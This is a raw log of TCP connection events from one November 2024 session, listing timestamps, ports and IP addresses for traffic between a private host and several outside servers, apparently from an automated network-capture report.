Nov 25, 2024 18:28:20.490566969 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.490657091 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.490665913 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.496970892 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.497042894 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.497052908 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.539057016 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.539158106 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.539166927 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.542592049 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.542668104 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.542675018 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.545684099 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.545727015 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.545756102 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.545761108 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.545814037 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.547930002 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.550741911 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.550815105 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.550837040 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.553379059 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.553459883 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.553477049 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.557966948 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.558032990 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.558042049 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.558239937 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.558295965 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.558413029 CET	49709	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.558424950 CET	443	49709	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.886894941 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:20.886925936 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:20.887015104 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:20.889270067 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:20.889282942 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:20.962194920 CET	49720	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.962213993 CET	443	49720	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:20.962304115 CET	49720	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.962594986 CET	49720	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:20.962609053 CET	443	49720	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:21.817831993 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:21.817862034 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:21.817936897 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:21.819338083 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:21.819349051 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:22.206023932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:22.206317902 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:22.326451063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:22.326673031 CET	80	49727	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:22.326760054 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:22.327063084 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:22.449419022 CET	80	49727	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:22.665774107 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:22.665858030 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:22.668392897 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:22.668401003 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:22.668705940 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:22.704605103 CET	443	49720	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:22.710552931 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:22.718494892 CET	49720	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:22.718506098 CET	443	49720	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:22.718885899 CET	443	49720	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:22.726622105 CET	49720	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:22.726708889 CET	443	49720	142.250.181.68	192.168.2.5
Nov 25, 2024 18:28:22.772927999 CET	49720	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:23.216262102 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.216341972 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.220141888 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.220150948 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.220411062 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.274534941 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.276823997 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:23.276870012 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:23.276936054 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:23.277436972 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:23.277451992 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:23.292798996 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.339327097 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.718604088 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.718686104 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.718887091 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.719747066 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.719765902 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.719800949 CET	49723	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.719806910 CET	443	49723	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.769881964 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.769918919 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:23.770004034 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.770739079 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:23.770755053 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:24.091675997 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:24.139337063 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.265513897 CET	80	49727	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:24.265628099 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:24.401789904 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:24.446094990 CET	49720	443	192.168.2.5	142.250.181.68
Nov 25, 2024 18:28:24.524529934 CET	80	49727	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:24.678965092 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.678987980 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.678996086 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.679027081 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.679056883 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.679059982 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:24.679078102 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.679112911 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:24.679140091 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:24.708329916 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.708406925 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:24.708411932 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:24.710061073 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:25.079701900 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.079797029 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.081815004 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.081823111 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.082498074 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.092530012 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.135334969 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.168484926 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.168639898 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:25.170150042 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:25.170159101 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.170387983 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.171462059 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:25.215328932 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.375406027 CET	80	49727	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:25.375503063 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:25.563539982 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.563566923 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.563581944 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.563633919 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.563649893 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.563678980 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.563699961 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.691605091 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.691708088 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.691765070 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:25.700074911 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:25.700076103 CET	49730	443	192.168.2.5	2.18.109.164
Nov 25, 2024 18:28:25.700090885 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.700099945 CET	443	49730	2.18.109.164	192.168.2.5
Nov 25, 2024 18:28:25.754554033 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.754581928 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.754621983 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.754636049 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.754781961 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.754781961 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.799173117 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.799192905 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.799235106 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.799252033 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:25.799288034 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:25.799318075 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.041239977 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.041258097 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.041292906 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.041337013 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.041352987 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.041388035 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.041395903 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.065906048 CET	49719	443	192.168.2.5	20.109.210.53
Nov 25, 2024 18:28:26.065929890 CET	443	49719	20.109.210.53	192.168.2.5
Nov 25, 2024 18:28:26.072767973 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.072819948 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.072855949 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.072865963 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.072899103 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.072906017 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.107968092 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.108019114 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.108047009 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.108062983 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.108088970 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.108103037 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.143676996 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.143723965 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.143763065 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.143770933 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.143802881 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.143956900 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.179645061 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.179713011 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.179727077 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.179738045 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.179775953 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.179795980 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.214201927 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.214222908 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.214289904 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.214301109 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.214353085 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.238285065 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.238306999 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.238358974 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.238368988 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.238404989 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.238425016 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.263988972 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.264009953 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.264095068 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.264108896 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.264168024 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.275480986 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.275497913 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.275544882 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.275552988 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.275592089 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.275609016 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.288461924 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.288482904 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.288544893 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.288556099 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.288585901 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.288606882 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.293895006 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.293982983 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.293984890 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.294028044 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.330183029 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.330199957 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.330210924 CET	49729	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.330216885 CET	443	49729	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.417695999 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.417747974 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.417808056 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.417834997 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.417877913 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.417953014 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.418966055 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.418981075 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.419235945 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.420133114 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.420176983 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.420253038 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.420829058 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.420861959 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.420939922 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.421130896 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.421143055 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.421242952 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.421260118 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.421314955 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.421325922 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.421624899 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.421639919 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:26.421708107 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:26.421720982 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.102783918 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.151779890 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.212981939 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.253956079 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.260463953 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.266676903 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.270834923 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.314126015 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.388511896 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.388537884 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.502233028 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.502299070 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.506933928 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.506952047 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.507493973 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.507524967 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.511456013 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.511465073 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.511761904 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.511779070 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.512639046 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.512645006 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.513540030 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.513556957 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.514029980 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.514034986 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.536103010 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.536133051 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.536617994 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.536627054 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.838041067 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.838066101 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.838138103 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.838166952 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.838217020 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.838357925 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.838383913 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.838435888 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.838460922 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.838521004 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.841381073 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.841442108 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.841490984 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.843170881 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.843235970 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.843281031 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.843293905 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.843878031 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.843934059 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.843976021 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.843990088 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.844032049 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.851871014 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.851943016 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.852020025 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.853528976 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.853605986 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.853655100 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.884691954 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.884708881 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.884721994 CET	49735	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.884730101 CET	443	49735	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.884749889 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.884749889 CET	49734	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.884813070 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.884857893 CET	443	49734	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.891171932 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.891195059 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.891208887 CET	49737	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.891215086 CET	443	49737	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.892352104 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.892364979 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.892376900 CET	49736	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.892384052 CET	443	49736	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.893829107 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.893829107 CET	49733	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:28.893837929 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:28.893848896 CET	443	49733	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.084676027 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:29.084702969 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:29.084764957 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:29.085844040 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:29.085856915 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:29.161983967 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.162010908 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.162111044 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.168425083 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.168437004 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.189905882 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.189943075 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.190010071 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.204389095 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.204432011 CET	443	49748	13.107.246.63	192.168.2.5
